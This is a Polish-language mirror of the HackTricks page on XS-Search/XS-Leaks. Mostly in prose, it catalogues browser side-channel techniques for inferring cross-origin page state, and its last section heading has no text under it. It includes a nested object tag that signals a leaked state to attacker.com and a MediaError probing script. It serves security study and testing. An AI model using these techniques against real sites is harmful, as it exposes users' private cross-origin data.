Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-30 08:30:57 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/xs-search
History
Translator 637796f4e0 Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2
2024-05-05 22:39:36 +00:00
..
css-injection Translated ['forensics/basic-forensic-methodology/partitions-file-system 2024-03-26 15:52:37 +00:00
connection-pool-by-destination-example.md Translated to Polish 2024-02-11 01:46:25 +00:00
connection-pool-example.md Translated to Polish 2024-02-11 01:46:25 +00:00
cookie-bomb-+-onerror-xs-leak.md Translated to Polish 2024-02-11 01:46:25 +00:00
event-loop-blocking-+-lazy-images.md Translated to Polish 2024-02-11 01:46:25 +00:00
javascript-execution-xs-leak.md Translated to Polish 2024-02-11 01:46:25 +00:00
performance.now-+-force-heavy-task.md Translated to Polish 2024-02-11 01:46:25 +00:00
performance.now-example.md Translated to Polish 2024-02-11 01:46:25 +00:00
README.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-05-05 22:39:36 +00:00
url-max-length-client-side.md Translated to Polish 2024-02-11 01:46:25 +00:00

README.md

XS-Search/XS-Leaks

Użyj Trickest, aby łatwo tworzyć i automatyzować przepływy pracy z wykorzystaniem najbardziej zaawansowanych narzędzi społeczności.
Otrzymaj dostęp już dziś:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Zacznij od zera i stań się ekspertem od hakowania AWS dzięki htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje

XS-Search to metoda używana do wydobywania informacji międzydomenowych poprzez wykorzystanie podatności kanałów bocznych.

Kluczowe składniki zaangażowane w ten atak to:

  • Podatna strona internetowa: Strona docelowa, z której ma być wydobywana informacja.
  • Strona internetowa atakującego: Złośliwa strona internetowa stworzona przez atakującego, którą odwiedza ofiara, hostująca exploit.
  • Metoda włączenia: Technika stosowana do włączenia Podatnej Strony do Strony Internetowej Atakującego (np. window.open, iframe, fetch, tag HTML z href, itp.).
  • Technika wycieku: Techniki używane do rozróżniania różnic w stanie Podatnej Strony na podstawie informacji zebranej za pomocą metody włączenia.
  • Stany: Dwa potencjalne warunki Podatnej Strony, które atakujący ma na celu odróżnić.
  • Różnice dostrzegalne: Obserwowalne zmiany, na których atakujący polega, aby wywnioskować stan Podatnej Strony.

Różnice dostrzegalne

Kilka aspektów można przeanalizować, aby odróżnić stany Podatnej Strony:

  • Kod stanu: Odróżnianie różnych kodów stanu odpowiedzi HTTP międzydomenowych, takich jak błędy serwera, błędy klienta lub błędy uwierzytelniania.
  • Użycie interfejsu API: Identyfikacja użycia interfejsów API sieci Web na stronach, ujawniająca, czy strona międzydomenowa wykorzystuje określone interfejsy API JavaScript.
  • Przekierowania: Wykrywanie nawigacji do innych stron, nie tylko przekierowań HTTP, ale także tych wywołanych przez JavaScript lub HTML.
  • Zawartość strony: Obserwowanie zmian w treści odpowiedzi HTTP lub w zasobach podrzędnych strony, takich jak liczba osadzonych ramek lub rozmiar różnic w obrazach.
  • Nagłówek HTTP: Zauważanie obecności lub możliwej wartości konkretnego nagłówka odpowiedzi HTTP, w tym nagłówków takich jak X-Frame-Options, Content-Disposition i Cross-Origin-Resource-Policy.
  • Czas: Zauważanie stałych różnic czasowych między dwoma stanami.

Metody włączenia

  • Elementy HTML: HTML oferuje różne elementy do włączania zasobów międzydomenowych, takie jak arkusze stylów, obrazy lub skrypty, zmuszając przeglądarkę do żądania zasobu nie-HTML. Kompilację potencjalnych elementów HTML do tego celu można znaleźć pod adresem https://github.com/cure53/HTTPLeaks.
  • Ramki: Elementy takie jak iframe, object i embed mogą osadzać zasoby HTML bezpośrednio na stronie atakującego. Jeśli strona nie ma ochrony przed osadzaniem, JavaScript może uzyskać dostęp do obiektu okna osadzonego zasobu za pomocą właściwości contentWindow.
  • Okienka pop-up: Metoda window.open otwiera zasób w nowej karcie lub oknie, dostarczając uchwyt okna dla JavaScriptu do interakcji z metodami i właściwościami zgodnie z SOP. Okienka pop-up, często używane w jednokrotnym logowaniu, omijają ograniczenia osadzania i plików cookie docelowego zasobu. Jednak nowoczesne przeglądarki ograniczają tworzenie okienek pop-up do określonych działań użytkownika.
  • Żądania JavaScript: JavaScript pozwala na bezpośrednie żądania do zasobów docelowych za pomocą XMLHttpRequests lub Fetch API. Te metody oferują precyzyjną kontrolę nad żądaniem, na przykład wybór śledzenia przekierowań HTTP.

Techniki wycieku

  • Obsługa zdarzeń: Klasyczna technika wycieku w XS-Leaks, gdzie obsługi zdarzeń takie jak onload i onerror dostarczają informacji o sukcesie lub niepowodzeniu ładowania zasobu.
  • Komunikaty o błędach: Wyjątki JavaScript lub specjalne strony błędów mogą dostarczać informacji o wycieku bezpośrednio z komunikatu błędu lub poprzez różnicowanie między jego obecnością a brakiem.
  • Globalne limity: Fizyczne ograniczenia przeglądarki, takie jak pojemność pamięci lub inne narzucone limity przeglądarki, mogą sygnalizować osiągnięcie progu, służąc jako technika wycieku.
  • Globalny stan: Wykrywalne interakcje z globalnymi stanami przeglądarek (np. interfejsem Historii) mogą być wykorzystane. Na przykład liczba wpisów w historii przeglądarki może dostarczyć wskazówek dotyczących stron międzydomenowych.
  • API wydajności: To API dostarcza szczegóły wydajności bieżącej strony, w tym czas sieciowy dla dokumentu i załadowanych zasobów, umożliwiając wnioskowanie o żądanych zasobach.
  • Atrybuty do odczytu: Niektóre atrybuty HTML są do odczytu międzydomenowego i mogą być wykorzystane jako technika wycieku. Na przykład właściwość window.frame.length pozwala JavaScriptowi zliczyć ramki osadzone na stronie internetowej międzydomenowej.

Narzędzie XSinator & Artykuł

XSinator to automatyczne narzędzie do sprawdzania przeglądarek pod kątem kilku znanych XS-Leaks wyjaśnionych w swoim artykule: https://xsinator.com/paper.pdf

Możesz uzyskać dostęp do narzędzia na https://xsinator.com/

{% hint style="warning" %} Wyłączone XS-Leaks: Musieliśmy wykluczyć XS-Leaks, które polegają na pracownikach usług ponieważ ingerowałyby w inne wycieki w XSinatorze. Ponadto zdecydowaliśmy się wykluczyć XS-Leaks, które polegają na błędach konfiguracji i błędach w konkretnej aplikacji internetowej. Na przykład błędy konfiguracji Cross-Origin Resource Sharing (CORS), wycieki postMessage lub Cross-Site Scripting. Dodatkowo wykluczyliśmy XS-Leaks oparte na czasie, ponieważ często cierpią na wolność, hałaśliwość i niedokładność. {% endhint %}


Użyj Trickest, aby łatwo tworzyć i automatyzować przepływy pracy z wykorzystaniem najbardziej zaawansowanych narzędzi społeczności.
Otrzymaj dostęp już dziś:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Techniki oparte na czasie

Niektóre z następujących technik będą wykorzystywać czas jako część procesu wykrywania różnic w możliwych stanach stron internetowych. Istnieją różne sposoby mierzenia czasu w przeglądarce internetowej.

Zegary: API performance.now() umożliwia programistom uzyskiwanie pomiarów czasu o wysokiej rozdzielczości.
Istnieje znaczna liczba interfejsów API, których atakujący mogą nadużywać, aby stworzyć niejawne zegary: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, animacje CSS i inne.
Więcej informacji: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

Techniki obsługi zdarzeń

Onload/Onerror

{% content-ref url="cookie-bomb-+-onerror-xs-leak.md" %} cookie-bomb-+-onerror-xs-leak.md {% endcontent-ref %}

Przykład kodu próbuje załadować obiekty skryptów z JS, ale inne tagi takie jak obiekty, arkusze stylów, obrazy, dźwięki również mogą być używane. Ponadto możliwe jest również bezpośrednie wstrzyknięcie tagu i zadeklarowanie zdarzeń onload i onerror wewnątrz tagu (zamiast wstrzykiwania go z JS).

Istnieje również wersja tego ataku bez użycia skryptu:

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

W tym przypadku, jeśli example.com/404 nie zostanie znalezione, zostanie załadowane attacker.com/?error.

Czas ładowania

{% content-ref url="performance.now-example.md" %} performance.now-example.md {% endcontent-ref %}

Czas ładowania + Wymuszone ciężkie zadanie

Ta technika jest podobna do poprzedniej, ale atakujący dodatkowo wymusi pewną akcję, która zajmie istotny czas, gdy odpowiedź jest pozytywna lub negatywna, a następnie zmierzy ten czas.

{% content-ref url="performance.now-+-force-heavy-task.md" %} performance.now-+-force-heavy-task.md {% endcontent-ref %}

Czas wyładowania/przed wyładowaniem

Czas potrzebny na pobranie zasobu można zmierzyć, wykorzystując zdarzenia unload i beforeunload. Zdarzenie beforeunload jest wywoływane, gdy przeglądarka ma przejść do nowej strony, podczas gdy zdarzenie unload występuje, gdy nawigacja faktycznie ma miejsce. Różnicę czasu między tymi dwoma zdarzeniami można obliczyć, aby określić czas, jaki przeglądarka spędziła na pobieraniu zasobu.

Czas ramki z ograniczeniem + onload

Zauważono, że w przypadku braku Ochrony ramkowej, czas potrzebny na załadowanie strony i jej podzasobów przez sieć może być zmierzony przez atakującego. Pomiar ten jest zazwyczaj możliwy, ponieważ obsługa onload ramki jest wyzwalana dopiero po zakończeniu ładowania zasobów i wykonania JavaScript. Aby ominąć zmienność wprowadzaną przez wykonanie skryptu, atakujący może użyć atrybutu sandbox wewnątrz <iframe>. Włączenie tego atrybutu ogranicza liczne funkcjonalności, w szczególności wykonanie JavaScript, ułatwiając tym samym pomiar, który jest głównie determinowany przez wydajność sieci.

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + błąd + onload

  • Metody włączenia: Ramki
  • Wykrywalna różnica: Zawartość strony
  • Więcej informacji:
  • Podsumowanie: Jeśli można spowodować błąd strony, gdy dostępna jest poprawna zawartość, i spowodować poprawne załadowanie strony, gdy dostępna jest dowolna zawartość, można utworzyć pętlę do wydobycia wszystkich informacji bez mierzenia czasu.
  • Przykład kodu:

Załóżmy, że można wstawić stronę, która zawiera tajną zawartość wewnątrz ramki.

Możesz sprawić, że ofiara będzie szukać pliku zawierającego "flagę" za pomocą ramki (wykorzystując na przykład CSRF). Wewnątrz ramki wiesz, że zdarzenie onload zostanie zawsze wykonane co najmniej raz. Następnie możesz zmienić URL ramki, zmieniając tylko zawartość hasła wewnątrz URL.

Na przykład:

  1. URL1: www.atakujący.com/xssearch#try1
  2. URL2: www.atakujący.com/xssearch#try2

Jeśli pierwszy URL został pomyślnie załadowany, to, gdy zmienisz część hasła w URL, zdarzenie onload nie zostanie ponownie wywołane. Ale jeśli strona miała jakikolwiek błąd podczas ładowania, wtedy zdarzenie onload zostanie ponownie wywołane.

W ten sposób można rozróżnić między stroną poprawnie załadowaną a stroną, która ma błąd podczas dostępu.

Wykonywanie JavaScriptu

  • Metody włączenia: Ramki
  • Wykrywalna różnica: Zawartość strony
  • Więcej informacji:
  • Podsumowanie: Jeśli strona zwraca wrażliwą zawartość lub zawartość, którą można kontrolować przez użytkownika. Użytkownik może ustawić poprawny kod JS w przypadku negatywnym, a każdą próbę załadować wewnątrz tagów <script>, więc w przypadkach negatywnych kod atakującego jest wykonywany, a w przypadkach pozytywnych nic nie będzie wykonywane.
  • Przykład kodu:

{% content-ref url="javascript-execution-xs-leak.md" %} javascript-execution-xs-leak.md {% endcontent-ref %}

CORB - Onerror

  • Metody włączenia: Elementy HTML
  • Wykrywalna różnica: Kod stanu i nagłówki
  • Więcej informacji: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • Podsumowanie: Blokuje odczyt z innych źródeł (CORB) to środek bezpieczeństwa, który zapobiega ładowaniu pewnych wrażliwych zasobów z innych źródeł w celu ochrony przed atakami takimi jak Spectre. Atakujący jednak mogą wykorzystać jego zachowanie ochronne. Gdy odpowiedź podlegająca CORB zwraca zabezpieczony przez CORB Content-Type z nosniff i kodem stanu 2xx, CORB usuwa treść i nagłówki odpowiedzi. Atakujący obserwujący to mogą wywnioskować kombinację kodu stanu (wskazującego na sukces lub błąd) i Content-Type (oznaczający, czy jest chroniony przez CORB), co prowadzi do potencjalnego wycieku informacji.
  • Przykład kodu:

Sprawdź link do więcej informacji o ataku.

onblur

Możliwe jest załadowanie strony wewnątrz ramki i użycie #wartość_id aby skupić stronę na elemencie ramki z wskazanym id, a następnie, jeśli zostanie wywołany sygnał onblur, element ID istnieje.
Możesz przeprowadzić ten sam atak za pomocą tagów portal.

Komunikaty postMessage Broadcasts

  • Metody włączenia: Ramki, Okna pop-up
  • Wykrywalna różnica: Użycie interfejsu API
  • Więcej informacji: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • Podsumowanie: Zbieranie wrażliwych informacji z postMessage lub wykorzystanie obecności postMessage jako orakulum do poznania stanu użytkownika na stronie
  • Przykład kodu: Kod nasłuchujący wszystkich komunikatów postMessage.

Aplikacje często wykorzystują komunikaty postMessage do komunikacji między różnymi źródłami. Jednak ta metoda może przypadkowo ujawnić wrażliwe informacje, jeśli parametr targetOrigin nie jest poprawnie określony, pozwalając dowolnemu oknu na odbieranie komunikatów. Ponadto sam fakt otrzymania komunikatu może działać jak orakulum; na przykład pewne komunikaty mogą być wysyłane tylko do użytkowników zalogowanych. Dlatego obecność lub brak tych komunikatów może ujawnić informacje o stanie lub tożsamości użytkownika, na przykład czy są uwierzytelnieni czy nie.

Użyj Trickest aby łatwo tworzyć i automatyzować zadania przy użyciu najbardziej zaawansowanych narzędzi społeczności na świecie.
Otrzymaj dostęp już dziś:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Techniki globalnych limitów

API WebSocket

Możliwe jest zidentyfikowanie, czy i ile połączeń WebSocket wykorzystuje strona docelowa. Pozwala to atakującemu wykryć stany aplikacji i wyciekać informacje związane z liczbą połączeń WebSocket.

Jeśli jedno źródło używa maksymalnej liczby obiektów połączenia WebSocket, bez względu na ich stan połączenia, utworzenie nowych obiektów spowoduje wyjątki JavaScript. Aby przeprowadzić ten atak, strona atakująca otwiera stronę docelową w oknie pop-up lub ramce, a następnie, po załadowaniu strony docelowej, próbuje utworzyć maksymalną liczbę połączeń WebSocket. Liczba wyrzuconych wyjątków to liczba połączeń WebSocket używanych przez stronę docelową.

Interfejs płatności

Ten XS-Leak umożliwia atakującemu wykrycie, kiedy strona z odległego źródła inicjuje żądanie płatności.

Ponieważ tylko jedno żądanie płatności może być aktywne w tym samym czasie, jeśli docelowa strona internetowa korzysta z interfejsu żądania płatności, jakiekolwiek dalsze próby użycia tego interfejsu zakończą się niepowodzeniem i spowodują wyjątek JavaScript. Atakujący może wykorzystać to, próbując okresowo wyświetlić interfejs API płatności. Jeśli jedna próba powoduje wyjątek, oznacza to, że docelowa strona internetowa go obecnie używa. Atakujący może ukryć te okresowe próby, natychmiast zamykając interfejs po jego utworzeniu.

Mierzenie pętli zdarzeń

{% content-ref url="event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

JavaScript działa w modelu współbieżności jednowątkowej pętli zdarzeń, co oznacza, że może wykonywać tylko jedno zadanie na raz. Ta cecha może być wykorzystana do oszacowania, jak długo trwa wykonanie kodu z innego źródła. Atakujący może mierzyć czas wykonania swojego kodu w pętli zdarzeń, ciągle wysyłając zdarzenia o stałych właściwościach. Te zdarzenia będą przetwarzane, gdy pulapka zdarzeń będzie pusta. Jeśli inne źródła również wysyłają zdarzenia do tej samej puli, atakujący może wywnioskować czas potrzebny na wykonanie tych zewnętrznych zdarzeń, obserwując opóźnienia w wykonaniu swoich zadań. Metoda monitorowania pętli zdarzeń w celu wykrywania opóźnień może ujawnić czas wykonania kodu z różnych źródeł, potencjalnie odsłaniając poufne informacje.

{% hint style="warning" %} Podczas pomiaru czasu wykonania można wyeliminować czynniki sieciowe w celu uzyskania bardziej precyzyjnych pomiarów. Na przykład, poprzez wczytanie zasobów używanych przez stronę przed jej załadowaniem. {% endhint %}

Zajęta pętla zdarzeń

  • Metody włączenia:
  • Wykrywalna różnica: Czasowanie (zazwyczaj związane z zawartością strony, kodem stanu)
  • Więcej informacji: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • Podsumowanie: Jedna z metod pomiaru czasu wykonania operacji internetowej polega na celowym zablokowaniu pętli zdarzeń wątku, a następnie pomiarze jak długo zajmuje pętli zdarzeń, aby ponownie stała się dostępna. Wstawiając operację blokującą (taką jak długie obliczenia lub synchroniczne wywołanie API) do pętli zdarzeń i monitorując czas, jaki zajmuje rozpoczęcie kolejnego kodu, można wywnioskować czas trwania zadań wykonywanych w pętli zdarzeń podczas okresu blokowania. Ta technika wykorzystuje jednowątkową naturę pętli zdarzeń JavaScript, gdzie zadania są wykonywane sekwencyjnie, i może dostarczyć informacji o wydajności lub zachowaniu innych operacji współdzielących ten sam wątek.
  • Przykład kodu:

Znaczącą zaletą techniki mierzenia czasu wykonania poprzez zablokowanie pętli zdarzeń jest jej potencjał do obejścia Izolacji witryny. Izolacja witryny to funkcja zabezpieczająca, która separuje różne strony internetowe do oddzielnych procesów, mając na celu zapobieganie złośliwym witrynom bezpośredniego dostępu do wrażliwych danych innych witryn. Jednakże, wpływając na czas wykonania innej domeny poprzez współdzieloną pętlę zdarzeń, atakujący może pośrednio wyciągnąć informacje o działaniach tej domeny. Ta metoda nie polega na bezpośrednim dostępie do danych innej domeny, lecz obserwuje wpływ działań tej domeny na współdzieloną pętlę zdarzeń, unikając tym samym barier ochronnych ustanowionych przez Izolację witryny.

{% hint style="warning" %} Podczas pomiaru czasu wykonania można wyeliminować czynniki sieciowe w celu uzyskania bardziej precyzyjnych pomiarów. Na przykład, poprzez wczytanie zasobów używanych przez stronę przed jej załadowaniem. {% endhint %}

Pula połączeń

  • Metody włączenia: Żądania JavaScript
  • Wykrywalna różnica: Czasowanie (zazwyczaj związane z zawartością strony, kodem stanu)
  • Więcej informacji: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • Podsumowanie: Atakujący może zablokować wszystkie gniazda oprócz jednego, załadować docelową stronę internetową i jednocześnie załadować inną stronę, czas do momentu rozpoczęcia ładowania ostatniej strony to czas, jaki zajęło załadowanie strony docelowej.
  • Przykład kodu:

{% content-ref url="connection-pool-example.md" %} connection-pool-example.md {% endcontent-ref %}

Przeglądarki wykorzystują gniazda do komunikacji z serwerem, ale ze względu na ograniczone zasoby systemu operacyjnego i sprzętu, przeglądarki są zmuszone narzucić limit na liczbę równoczesnych gniazd. Atakujący może wykorzystać to ograniczenie poprzez następujące kroki:

  1. Określenie limitu gniazd przeglądarki, na przykład 256 globalnych gniazd.
  2. Zajęcie 255 gniazd na długi czas, inicjując 255 żądań do różnych hostów, zaprojektowanych tak, aby utrzymać połączenia otwarte bez ich zakończenia.
  3. Użycie 256. gniazda do wysłania żądania do strony docelowej.
  4. Próba 257. żądania do innego hosta. Ponieważ wszystkie gniazda są zajęte (zgodnie z krokami 2 i 3), to żądanie zostanie umieszczone w kolejce do momentu zwolnienia gniazda. Opóźnienie przed kontynuacją tego żądania dostarcza atakującemu informacje o czasie związanym z aktywnością sieciową związaną z 256. gniazdem (gniazdem strony docelowej). Wnioskowanie to jest możliwe, ponieważ 255 gniazd z kroku 2 są nadal zajęte, co oznacza, że każde nowo dostępne gniazdo musi być tym, które zostało zwolnione w kroku 3. Czas potrzebny na zwolnienie 256. gniazda jest bezpośrednio związany z czasem potrzebnym na zakończenie żądania do strony docelowej.

Więcej informacji: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

Pula połączeń według celu

  • Metody włączenia: Żądania JavaScript
  • Wykrywalna różnica: Czasowanie (zazwyczaj związane z zawartością strony, kodem stanu)
  • Więcej informacji:
  • Podsumowanie: Jest to podobna technika do poprzedniej, ale zamiast używać wszystkich gniazd, Google Chrome narzuca limit 6 równoczesnych żądań do tego samego źródła. Jeśli zablokujemy 5 i następnie uruchomimy 6. żądanie, możemy zmierzyć to i jeśli uda nam się sprawić, że strona ofiarna wyśle więcej żądań do tego samego punktu końcowego, aby wykryć stan strony, 6. żądanie potrwa dłużej i będziemy w stanie to wykryć.

Techniki interfejsu API wydajności

Interfejs API wydajności oferuje wgląd w metryki wydajności aplikacji internetowych, dodatkowo wzbogacony przez Interfejs czasowania zasobów. Interfejs czasowania zasobów umożliwia monitorowanie szczegółowych czasów żądań sieciowych, takich jak czas trwania żądań. Warto zauważyć, że gdy serwery zawierają nagłówek Timing-Allow-Origin: * w swoich odpowiedziach, dodatkowe dane, takie jak rozmiar transferu i czas poszukiwania domeny, stają się dostępne.

Te bogactwo danych można pozyskać za pomocą metod takich jak performance.getEntries lub performance.getEntriesByName, zapewniając wszechstronny widok informacji związanych z wydajnością. Ponadto interfejs umożliwia pomiar czasów wykonania poprzez obliczanie różnicy między znacznikami czasowymi uzyskanymi z performance.now(). Warto jednak zauważyć, że dla pewnych operacji w przeglądarkach, takich jak Chrome, precyzja performance.now() może być ograniczona do milisekund, co może wpłynąć na dokładność pomiarów czasowych.

Poza pomiarami czasowymi, interfejs API wydajności może być wykorzystany do uzyskania wglądu związanego z bezpieczeństwem. Na przykład obecność lub brak stron w obiekcie performance w Chrome może wskazywać na zastosowanie X-Frame-Options. Konkretnie, jeśli strona jest blokowana przed renderowaniem w ramce z powodu X-Frame-Options, nie zostanie zapisana w obiekcie performance, co stanowi subtelny wskazówkę dotyczącą polityk ramkowania strony.

Wyciek błędów

Możliwe jest rozróżnienie między kodami stanu odpowiedzi HTTP, ponieważ żądania prowadzące do błędu nie tworzą wpisu wydajności.

Błąd ponownego wczytywania stylu

W poprzedniej technice zidentyfikowano dwa przypadki, w których błędy przeglądarki w GC prowadzą do ponownego wczytania zasobów, gdy nie uda się ich wczytać. Spowoduje to wielokrotne wpisy w interfejsie API wydajności i może być wykryte.

Błąd łączenia żądań

Technika została znaleziona w tabeli w wspomnianym dokumencie, ale nie znaleziono na niej opisu techniki. Jednak kod źródłowy sprawdzający to można znaleźć pod adresem https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak

Wyciek pustej strony

Atakujący może wykryć, czy żądanie zakończyło się pustym ciałem odpowiedzi HTTP, ponieważ puste strony nie tworzą wpisu wydajności w niektórych przeglądarkach.

Wyciek XSS-Auditora

W asercjach bezpieczeństwa (SA) audytor XSS, pierwotnie przeznaczony do zapobiegania atakom typu Cross-Site Scripting (XSS), paradoksalnie może być wykorzystany do wycieku poufnych informacji. Chociaż ta wbudowana funkcja została usunięta z Google Chrome (GC), nadal jest obecna w SA. W 2013 roku Braun i Heiderich wykazali, że audytor XSS może przypadkowo blokować prawidłowe skrypty, prowadząc do fałszywych pozytywów. Na tej podstawie badacze opracowali techniki wydobywania informacji i wykrywania określonych treści na stronach z różnych źródeł, koncepcję znaną jako XS-Leaks, początkowo zgłoszoną przez Teradę i rozwiniętą przez Heyesa w poście na blogu. Chociaż te techniki były specyficzne dla audytora XSS w GC, odkryto, że w SA strony blokowane przez audytora XSS nie generują wpisów w interfejsie API wydajności, ujawniając metodę wycieku poufnych informacji.

Wyciek X-Frame

Jeśli strona nie może być renderowana w ramce, nie tworzy wpisu wydajności. W rezultacie atakujący mogą wykryć nagłówek odpowiedzi X-Frame-Options.
To samo dotyczy użycia tagu embed.

Wykrywanie pobierania

Podobnie jak opisany XS-Leak, zasób pobrany z powodu nagłówka ContentDisposition również nie tworzy wpisu wydajności. Ta technika działa we wszystkich głównych przeglądarkach.

Przekierowanie Start Leak

Znaleźliśmy jedno wystąpienie XS-Leak, które nadużywa zachowania niektórych przeglądarek, które rejestrują zbyt wiele informacji dla żądań międzydomenowych. Standard definiuje podzbiór atrybutów, które powinny być ustawione na zero dla zasobów międzydomenowych. Jednakże, w SA jest możliwe wykrycie, czy użytkownik jest przekierowany przez stronę docelową, poprzez zapytanie API Performance i sprawdzenie danych czasowania redirectStart.

Wyciek Czasu Przekierowania

W GC, czas trwania dla żądań, które skutkują przekierowaniem, jest ujemny i można je zatem rozróżnić od żądań, które nie skutkują przekierowaniem.

Wyciek CORP

W niektórych przypadkach, wpis nextHopProtocol może być używany jako technika wycieku. W GC, gdy ustawiony jest nagłówek CORP, wartość nextHopProtocol będzie pusta. Zauważ, że SA nie utworzy w ogóle wpisu o wydajności dla zasobów z włączonym CORP.

Pracownik Usługi

Pracownicy usługi to konteksty skryptowe sterowane zdarzeniami, które działają w pochodzeniu. Działają one w tle strony internetowej i mogą przechwytywać, modyfikować i buforować zasoby w celu tworzenia aplikacji internetowych offline.
Jeśli zasób zbuforowany przez pracownika usługi jest dostępny poprzez ramkę, zasób zostanie załadowany z bufora pracownika usługi.
Aby wykryć, czy zasób został załadowany z bufora pracownika usługi, można użyć API Performance.
Można to również zrobić za pomocą ataku czasowego (sprawdź dokument w celu uzyskania więcej informacji).

Pamięć Cache

Za pomocą API Performance można sprawdzić, czy zasób jest zapisany w pamięci podręcznej.

Czas Trwania Sieci

Technika Komunikatów o Błędach

Błąd Media

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}

CORS Error

Ta technika umożliwia atakującemu wydobycie celu przekierowania strony z innej domeny poprzez wykorzystanie sposobu, w jaki przeglądarki oparte na Webkit obsługują żądania CORS. Konkretnie, gdy żądanie z włączonym CORS jest wysyłane do strony docelowej, która przekierowuje na podstawie stanu użytkownika, a przeglądarka następnie odmawia żądania, pełny adres URL docelowego przekierowania jest ujawniany w komunikacie błędu. Ta podatność nie tylko ujawnia fakt przekierowania, ale także eksponuje punkt końcowy przekierowania oraz ewentualne czułe parametry zapytania, które może zawierać.

SRI Error

Atakujący może wykorzystać rozszerzone komunikaty błędów do wydedukowania rozmiaru odpowiedzi z innej domeny. Jest to możliwe dzięki mechanizmowi Integralności Podzasobów (SRI), który używa atrybutu integralności do weryfikacji, czy zasoby pobrane, często z CDN-ów, nie zostały sfałszowane. Aby SRI działało na zasobach z innej domeny, muszą być włączone CORS; w przeciwnym razie nie podlegają one weryfikacji integralności. W twierdzeniach dotyczących bezpieczeństwa (SA), podobnie jak w przypadku błędu CORS XS-Leak, komunikat błędu może być przechwycony po nieudanym żądaniu pobrania z atrybutem integralności. Atakujący mogą celowo wywołać ten błąd, przypisując fałszywą wartość skrótu do atrybutu integralności dowolnego żądania. W SA, rezultujący komunikat błędu niechcący ujawnia długość zawartości żądanego zasobu. To wyciek informacji pozwala atakującemu rozpoznać różnice w rozmiarze odpowiedzi, otwierając drogę do zaawansowanych ataków XS-Leak.

Naruszenie/Wykrywanie CSP

XS-Leak może wykorzystać CSP do wykrycia, czy strona z innej domeny została przekierowana na inną domenę. Ten wyciek może wykryć przekierowanie, ale dodatkowo ujawnia domenę docelową przekierowania. Podstawowym pomysłem tego ataku jest zezwolenie na domenę docelową na stronie atakującego. Gdy żądanie jest wysyłane do domeny docelowej, przekierowuje ono na domenę z innej domeny. CSP blokuje dostęp do niej i tworzy raport naruszenia używany jako technika wycieku. W zależności od przeglądarki, ten raport może ujawnić lokalizację docelową przekierowania.
Nowoczesne przeglądarki nie wskażą adresu URL, na który nastąpiło przekierowanie, ale nadal można wykryć, że zostało ono uruchomione.

Pamięć podręczna

Przeglądarki mogą używać jednej wspólnej pamięci podręcznej dla wszystkich witryn. Bez względu na ich pochodzenie, można wydedukować, czy strona docelowa żądała określonego pliku.

Jeśli strona ładuje obraz tylko wtedy, gdy użytkownik jest zalogowany, można unieważnić zasób (aby nie był już w pamięci podręcznej, jeśli był, zobacz więcej informacji), wykonać żądanie, które mogłoby załadować ten zasób i spróbować załadować zasób z błędnym żądaniem (np. używając zbyt długiego nagłówka referera). Jeśli załadowanie zasobu nie spowodowało żadnego błędu, oznacza to, że był on w pamięci podręcznej.

Dyrektywa CSP

Nowa funkcja w Google Chrome (GC) pozwala stronie internetowej zaproponować politykę bezpieczeństwa zawartości (CSP) poprzez ustawienie atrybutu na elemencie iframe, a dyrektywy polityki są przesyłane wraz z żądaniem HTTP. Zazwyczaj osadzona zawartość musi autoryzować to za pomocą nagłówka HTTP, w przeciwnym razie wyświetlana jest strona błędu. Jednak jeśli iframe jest już objęty CSP, a nowo proponowana polityka nie jest bardziej restrykcyjna, strona załaduje się normalnie. Ten mechanizm otwiera drogę dla atakującego do wykrycia konkretnych dyrektyw CSP strony z innej domeny poprzez identyfikację strony błędu. Chociaż ta podatność została oznaczona jako naprawiona, nasze ustalenia ujawniają nową technikę wycieku, zdolną do wykrywania strony błędu, sugerując, że podstawowy problem nigdy nie został w pełni rozwiązany.

CORP

Nagłówek CORP to stosunkowo nowa funkcja bezpieczeństwa platformy internetowej, która gdy jest ustawiona blokuje żądania z innej domeny no-cors do określonego zasobu. Obecność tego nagłówka może być wykryta, ponieważ zasób zabezpieczony za pomocą CORP spowoduje błąd podczas pobierania.

CORB

Sprawdź link, aby uzyskać więcej informacji na temat ataku.

Błąd CORS na nieprawidłowej konfiguracji odbicia pochodzenia

